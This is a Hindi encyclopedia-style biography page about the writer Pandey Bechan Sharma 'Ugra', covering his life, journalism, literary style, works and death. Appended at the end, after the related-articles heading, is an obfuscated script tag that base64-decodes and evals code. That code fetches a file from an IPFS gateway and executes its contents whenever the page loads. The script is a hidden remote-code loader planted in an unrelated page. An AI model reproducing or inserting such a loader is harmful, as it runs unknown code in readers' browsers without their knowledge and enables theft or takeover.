पाण्डेय बेचन शर्मा 'उग्र'

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
पाण्डेय बेचन शर्मा 'उग्र'
पाण्डेय बेचन शर्मा 'उग्र'
पूरा नाम पाण्डेय बेचन शर्मा 'उग्र'
जन्म 1900
जन्म भूमि मिर्जापुर, उत्तर प्रदेश
मृत्यु 1967
मृत्यु स्थान दिल्ली
कर्म भूमि भारत
मुख्य रचनाएँ 'दिल्ली का दलाल', 'चंद हसीनों की खतूत', ‘सनकी अमीर’, ‘चिनगारियाँ’, ‘पंजाब की महारानी’, ‘जब सारा आलम सोता है’ आदि।
विद्यालय 'चर्च मिशन स्कूल' (चुनार); 'सेंट्रल हिंदू स्कूल' (वाराणसी)
पुरस्कार-उपाधि साहित्यकार व उपन्यासकार
विशेष योगदान समृद्ध भाषा के धनी ‘उग्र’ जी ने अरसा पहले कहानी को एक नई शैली दी थी, जिसे आदरपूर्वक ‘उग्र-शैली’ कहा जाता है।
नागरिकता भारतीय
अन्य जानकारी पाण्डेय बेचन शर्मा ने अपनी रचनाओं में समाज के उस वर्ग को अपने साहित्य का बिषय बनाया, जिसे 'दलित' या 'पतित' वर्ग कहते है और उसके दर्शाने में उन्होंने किसी प्रकार के शील या अभिजात का परिचय नहीं दिया।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

पाण्डेय बेचन शर्मा 'उग्र' (जन्म- 1900, मिर्जापुर, उत्तर प्रदेश; मृत्यु- 1967, दिल्ली) हिन्दी की पुरानी पीढ़ी के विशिष्ट लेखक और प्रमुखतम शैलीकार थे। आलोचकों का मत है कि कथा कहने की विविध शैलियों और रूपों में अकेले ‘उग्र’ ने जितनी विभिन्न और विवादास्पद, मनोरंजक और उत्तेजनापूर्ण रचनाएँ दी थीं, वे साहित्य के इस अंग को सम्पूर्ण बनाने में समर्थ हैं। समृद्ध भाषा के धनी ‘उग्र’ ने अरसा पहले कहानी को एक नई शैली दी थी, जिसे आदरपूर्वक ‘उग्र-शैली’ कहा जाता है। पाण्डेय बेचन शर्मा 'उग्र' की कितनी ही रचनाएं ब्रिटिश सरकार द्वारा जब्त की गई थीं।

जन्म तथा शिक्षा

पाण्डेय बेचन शर्मा 'उग्र' का जन्म सन 1900 में उत्तर प्रदेश के मिर्जापुर ज़िले के 'चुनार' नामक कस्बे में हुआ था। इनके पिता की मौत इनकी बाल्यावस्था में ही हो गई थी। अतः इनकी पढ़ाई अधिक नही हो पाई। प्रारंभिक शिक्षा इन्होंने चुनार के 'चर्च मिशन स्कूल' और वाराणसी के सेंट्रल हिंदू स्कूल' में प्राप्त की थी। छोटी उम्र में ही इन्होंने रामलीला मंडलियों के साथ देश के अनेक भागों की यात्रा की, जिससे जीवन की वास्तविक पाठशाला में ही इनको असली शिक्षा प्राप्त हुई। इस यात्रा में ही इन्होंने जीवन को निकट से देखा-परखा और विविध अनुभव हासिल किए। पाण्डेय बेचन शर्मा स्वभाव से अलमस्त और मनमौजी थे।

पत्रकार जीवन

सन 1920 से पाण्डेय बेचन शर्मा 'उग्र' 'आज' दैनिक में लिखने लगे, जिससे इनके पत्रकार जीवन का प्रारम्भ हुआ। ये मुंबई के सिनेमा जगत् में भी काफ़ी दिनों तक रहे। ये 'प्रेमचंद युग' के सबसे बदनाम उपन्यासकार हुए। इन्होंने अपने उपन्यासों में समाज की बुराइयो को, उसकी नंगी सच्चाई को बिना लाग-लपट के बड़े साहस के साथ, किंतु सपाट बयानबाज़ी से प्रस्तुत किया।

उग्र शैली

व्यंजनाओं, लक्षणाओं और वक्रोक्तियों से समृद्ध भाषा के धनी ‘उग्र’ ने अरसा पहले कहानी को एक नई शैली दी थी, जिसे आदरपूर्वक ‘उग्र शैली’ कहा जाता है।

रचनाएँ

शर्मा जी ने अपनी रचनाओं में समाज के उस वर्ग को अपने साहित्य का बिषय बनाया, जिसे 'दलित' या 'पतित' वर्ग कहते है और उसके दर्शाने में उन्होंने किसी प्रकार के शील या अभिजात का परिचय नहीं दिया। इन्होंने कलकत्ता (वर्तमान कोलकाता) के मारवाड़ी समाज को भी अपने साहित्य का विषय बनाया। पाण्डेय बेचन शर्मा 'उग्र' की प्रमुख रचनाएँ इस प्रकार हैं-

उपन्यास - 'बुधुआ की बेटी', 'दिल्ली का दलाल', 'चंद हसीनों की खतूत' आदि पाण्डेय जी के प्रसिद्ध उपन्यास हैं।
आत्म-कथा - 'अपनी ख़बर'
कहानी संग्रह - ‘रेशमी’, ‘व्यक्तिगत’, ‘सनकी अमीर’, ‘चिनगारियाँ’, ‘पंजाब की महारानी’, ‘जब सारा आलम सोता है’, ‘दोजख की आग’, ‘उग्र का हास्य’, ‘निर्लज्जा’, ‘बलात्कार’, ‘चाकलेट, ‘इन्द्रधनुष, ‘कला का पुरस्कार’ इत्यादि ‘उग्र’ के अनेक कहानी-संग्रह समय-समय पर प्रकाशित हो चुके हैं। इनमें से अधिकांश अब उपलब्ध नहीं हैं।

पाण्डेय बेचन शर्मा ‘उग्र’ की कितनी ही रचनाएँ ब्रिटिश सरकार द्वारा जब्त कर ली गई थीं। स्वतन्त्रता प्राप्ति के बाद कुछ रचनाएँ पुनः प्रकाशित भी हुईं, लेकिन ‘उग्र’ का सम्पूर्ण कथा साहित्य एक साथ संकलित नहीं है। पाण्डेय बेचन शर्मा जी के साहित्य और इसके साथ-साथ हिंदी कथा-साहित्य के विकास को समझने के लिए उनकी सारी कहानियों का एक साथ प्रकाशन अनिवार्य रूप से आवश्यक है।[1]

निधन

सन 1967 में दिल्ली में पाण्डेय बेचन शर्मा 'उग्र' का देहांत हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. पाण्डेय बेचन शर्मा 'उग्र' (हिन्दी)। । अभिगमन तिथि: 12 जनवरी, 2014।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>